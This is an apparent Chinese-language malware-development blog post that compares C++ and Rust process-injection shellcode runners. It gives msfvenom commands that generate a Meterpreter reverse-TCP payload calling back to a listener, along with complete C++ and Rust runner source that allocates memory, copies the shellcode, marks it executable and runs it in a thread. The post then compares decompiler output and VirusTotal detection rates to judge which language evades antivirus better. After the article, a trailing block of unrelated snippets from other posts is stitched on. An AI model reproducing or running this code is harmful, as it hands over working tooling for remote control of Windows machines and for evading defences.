Malware Dev 00 - Rust vs C++ 初探
写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的,想着动手实验一下,看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。
本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件,看一下反编译的结果。最后,我们看一下 VirusTotal 对于两个文件的检测,对比一下目前为止哪个语言的免杀效果相对优秀(由于是 shellcode runner 实属裸奔,没用任何绕过技巧,被查杀是肯定的)。
为什么选择 Rust
这里是 Rust 语言的一些特性。
- Rust 速度快,跟 C/C++ 不相上下;
- Rust 拥有优秀的依赖解决方案,cargo;
- Rust 基于 LLVM,内部的复杂性有利于其躲避防御机制的检测;
- Rust 拥有活跃的社区支持,因此,各种问题基本都能得到解决;
- Rust 跨平台;
正是因为这些特性,Rust 被武器化,在网络安全进攻端,展现出了一定的实力。
测试环境
Windows
shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。

C++ 编译使用 Visual Studio 2022。
Rust 使用官网最新版本 cargo。
Linux
另一台 Kali Linux 机器,作 shellcode 生成和 shell 接收。
Rust vs C++
进入正题,分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。
C++ Process Injection Shellcode Runner
创建一个 C++ 工程。

生成一份 shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c
复制 shellcode 到代码。
代码常规套路,四步走,分配内存,拷贝 shellcode,设置内存可执行,创建线程并执行。
#include <windows.h>int main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect = 0;unsigned char payload[] = { shellcode_here };SIZE_T payload_size = sizeof(payload);lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect)){tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}
注意这里要使用 Release 编译。
编译之后执行。

Kali 拿到 shell。

接下来编译一个 Rust 版本的,代码逻辑一致。
Rust Process Injection Shellcode Runner
Rust 需安装。官网下载安装包 安装即可。

第一次接触 Rust,给出一下编译步骤。
首先在当前文件夹下创建一个 Rust 工程。
cargo new shell_rust

接着生成一段 shellcode。用 csharp 格式的就行。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp
然后进入工程中的 src 文件夹,编辑 main.rs 文件,使用如下代码,使用生成的 shellcode。
use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD = u32;//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] = [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr = kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.")}std::ptr::copy(payload.as_ptr() as _, base_addr, payload.len());let mut old_protect: DWORD = PAGE_READWRITE;let mem_protect = kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,&mut old_protect);if mem_protect == 0 {let error = errhandlingapi::GetLastError();println!("[-] Error: {}", error.to_string());process::exit(0x0100);}let mut tid = 0;let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };let h_thread = processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,&mut tid);if h_thread.is_null() {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}let status = WaitForSingleObject(h_thread, winbase::INFINITE);if status != 0 {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}}
}
添加依赖。
cargo add winapi kernel32-sys
查看 Cargo.toml 文件如下。

不过此时编译还是会报错。

还得增加 winapi 下的 features 才能正常编译。

再次编译 Release 版本。
cargo build --release
编译成功。

在 shell_rust/target/release 文件夹下找到 exe 文件。

运行。

Kali 拿到 shell。

至此,两个 shellcode runner 编译完成。
反编译比较
将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。
C++ Decompile
C++ 经过反编译得到了至多 1453 行代码(Ghidra)。

并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。
VirtualAlloc

VirtualProtect

CreateThread

WaitForSingleObject

接下来看下 Rust 的表现。
Rust Decompile
但从编译时间的角度来看,有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。

再查找一下敏感 API,还是可以被找到。这里与原文有些不符。原文指出,只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。

VT 查杀结果
Rust 结果 18/62。

C++ 结果 28/62。

总结
目前为止,裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。
参考链接
- https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
- https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
- https://github.com/trickster0/OffensiveRust
- https://doc.rust-lang.org/cargo/guide/dependencies.html
- https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
- https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
- https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate
相关文章:
Malware Dev 00 - Rust vs C++ 初探
写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我会提供备考过程中尽可能多的帮助,并分享学习和实践过程…...
JavaScript HTML DOM 事件
文章目录JavaScript HTML DOM 事件对事件做出反应HTML 事件属性使用 HTML DOM 来分配事件onload 和 onunload 事件onchange 事件onmouseover 和 onmouseout 事件onmousedown、onmouseup 以及 onclick 事件JavaScript HTML DOM 事件 HTML DOM 使 JavaScript 有能力对 HTML 事件做…...
推荐算法——NCF知识总结代码实现
NCF知识总结代码实现1. NeuralCF 模型的结构1.1 回顾CF和MF1.2 NCF 模型结构1.3 NeuralCF 模型的扩展---双塔模型2. NCF代码实现2.1 tensorflow2.2 pytorchNeuralCF:如何用深度学习改造协同过滤? 随着技术的发展,协同过滤相比深度学习模型的…...
redis(4)String字符串
前言 Redis中有5大数据类型,分别是字符串String、列表List、集合Set、哈希Hash、有序集合Zset,本篇介绍Redis的字符串String Redis字符串 String是Redis最基本的类型,你可以理解成与Memcached一模一样的类型,一个key对应一个value…...
session一致性问题
在http访问请求中,web服务器会自动为同一个浏览器的访问用户自动创建唯一的session,提供数据存储功能。最常见的,会把用户的登录信息、用户信息存储在session中,以保持登录状态。只要用户不重启浏览器,每次http短连接请…...
上岸16K,薪资翻倍,在华为外包做测试是一种什么样的体验····
现在回过头看当初的决定,还是正确的,自己转行成功,现在进入了华为外包测试岗,脱离了工厂生活,薪资也翻了一倍不止。 我17年毕业于一个普通二本学校,电子信息工程学院,是一个很不出名的小本科。…...
django项目中如何添加自定义的django command
项目目录 1.我们自己建立的application叫做app,首先在这个app目录下,我们需要新建management目录,这个目录里应该包括:__ init__.py(内容为空,用于打包)和commands目录,然后在comma…...
【算法基础】哈希表⭐⭐⭐
一、哈希表 散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表。 给定表M,存在函数f(key),对任意…...
基于SpringMVC、Spring、MyBatis开发的校园点餐系统
文章目录 项目介绍主要功能截图:后台登录用户管理商品管理评论管理订单管理角色管理咨询管理前台前台首页我的订单商品详情支付方式选择支付成功页面部分代码展示设计总结项目获取方式🍅 作者主页:Java韩立 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题…...
LeetCode 热题 C++ 148. 排序链表 152. 乘积最大子数组 160. 相交链表
力扣148 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4]示例 2: 输入:head [-1,5,3,4,0] 输出:[-1,0,3,4,5]示例 3&#x…...
JavaScript 基础【快速掌握知识点】
目录 为什么要学JavaScript? 什么是JavaScript 特点: 组成: JavaScript的基本结构 基本结构 内部引用 外部引用 console对象进行输出 JavaScript核心语法 1、变量声明 2、数据类型 3、运算符 4、条件语句 5、循环语句 6、数组 7…...
基于Frenet优化轨迹的⾃动驾驶动作规划⽅法
动作规划(Motion Control)在⾃动驾驶汽⻋规划模块的最底层,它负责根据当前配置和⽬标配置⽣成⼀序列的动作,本⽂介绍⼀种基于Frenet坐标系的优化轨迹动作规划⽅法,该⽅法在⾼速情况下的ACC辅助驾驶和⽆⼈驾驶都具有较强…...
Spring(入门)
1. 什么是spring,它能够做什么?2. 什么是控制反转(或依赖注入)3. AOP的关键概念4. 示例 4.1 创建工程4.2 pom文件4.3 spring配置文件4.4 示例代码 4.4.1 示例14.4.2 示例2 (abstract,parent示例)4.4.3 使用有参数构造方法创建jav…...
2023-02-25力扣每日一题
链接: https://leetcode.cn/problems/minimum-swaps-to-make-strings-equal/ 题意: 给定字符串s1,s2,仅由x,y组成 每次可以在两边各挑一个字符交换 求让s1等于s2的最小步骤 解: 1000啊1000,双指针贪一下就过了 …...
如何外网登录管理云通信短信网关平台?——快解析映射方案
云通信(Cloud Communications )是基于云计算商业模式应用的通信平台服务,简单易用,满足企业一键群发场景,支持多种语言SDK和API 接入。各个通信平台软件都集中在云端,且互通兼容,用户只要登录云通信平台,不…...
学习 Python 之 Pygame 开发魂斗罗(三)
学习 Python 之 Pygame 开发魂斗罗(三)继续编写魂斗罗1. 角色站立2. 角色移动3. 角色跳跃4. 角色下落继续编写魂斗罗 在上次的博客学习 Python 之 Pygame 开发魂斗罗(二)中,我们完成了角色的创建和更新,现…...
【华为OD机试模拟题】用 C++ 实现 - 最多获得的短信条数(2023.Q1)
最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 分积木(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 吃火锅(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - RSA 加密算法(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 构成的正方形数量(2023.Q1) 【华为OD机试模拟…...
linux系统加exfat驱动
u盘假如是fat格式不支持大于4G文件,所以一般u盘用exfat格式,兼容性更好 有的老linux没支持exfat格式,那就自己装个驱动吧 sudo apt-get install exfat-fuse exfat-utils 有一台fedora27需要yum安装,国外源比较慢,改…...
3,预初始化(一)(大象无形9.2)
正如书中所说,预初始化流程由FEngineLoop::PreInit()所实现 主要处理流程 1,设置路径:当前程序路径,当前工作目录路径,游戏的工程路径 2,设置标准输出:设置GLog系统输出的设备,是输出到命令行…...
【PAT甲级题解记录】1013 Battle Over Cities (25 分)
【PAT甲级题解记录】1013 Battle Over Cities (25 分) 前言 Problem:1013 Battle Over Cities (25 分) Tags:DFS 连通图 Difficulty:剧情模式 想流点汗 想流点血 死而无憾 Address:1013 Battle Over Cities (25 分) 问题描述 给…...
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...
C++--string的模拟实现
一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现,其目的是加强对string的底层了解,以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量,…...
数据库正常,但后端收不到数据原因及解决
从代码和日志来看,后端SQL查询确实返回了数据,但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离,并且ai辅助开发的时候,很容易出现前后端变量名不一致情况,还不报错,只是单…...
UE5 音效系统
一.音效管理 音乐一般都是WAV,创建一个背景音乐类SoudClass,一个音效类SoundClass。所有的音乐都分为这两个类。再创建一个总音乐类,将上述两个作为它的子类。 接着我们创建一个音乐混合类SoundMix,将上述三个类翻入其中,通过它管理每个音乐…...
leetcode_69.x的平方根
题目如下 : 看到题 ,我们最原始的想法就是暴力解决: for(long long i 0;i<INT_MAX;i){if(i*ix){return i;}else if((i*i>x)&&((i-1)*(i-1)<x)){return i-1;}}我们直接开始遍历,我们是整数的平方根,所以我们分两…...
PLC入门【4】基本指令2(SET RST)
04 基本指令2 PLC编程第四课基本指令(2) 1、运用上接课所学的基本指令完成个简单的实例编程。 2、学习SET--置位指令 3、RST--复位指令 打开软件(FX-TRN-BEG-C),从 文件 - 主画面,“B: 让我们学习基本的”- “B-3.控制优先程序”。 点击“梯形图编辑”…...
